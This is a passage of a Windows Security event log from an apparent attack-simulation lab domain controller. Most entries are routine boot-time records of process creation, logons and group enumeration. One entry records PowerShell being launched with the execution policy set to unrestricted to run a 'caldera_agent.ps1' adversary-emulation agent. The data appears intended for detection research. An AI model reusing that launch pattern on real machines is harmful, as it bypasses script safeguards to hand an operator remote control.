privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253610 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x31c - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253609 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d0 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2c8 - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x278 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2c0 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1c0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x280 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x278 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253605 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1c0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=253615 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x6942 -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253621 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x3e8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k RPCSS - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253620 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253619 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253618 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x260 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k DcomLaunch - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253617 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253616 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253655 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x950 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=253654 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253653 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x918 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x900 - Creator Process Name: C:\Windows\System32\CompatTelRunner.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253652 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\System32\CompatTelRunner.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\compattelrunner.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253651 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe TpmTasks - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253650 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x82c - Creator Process Name: C:\Windows\System32\RemoteFXvGPUDisablement.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253649 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8ac - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x864 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x7bc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253647 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253646 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253645 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253644 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 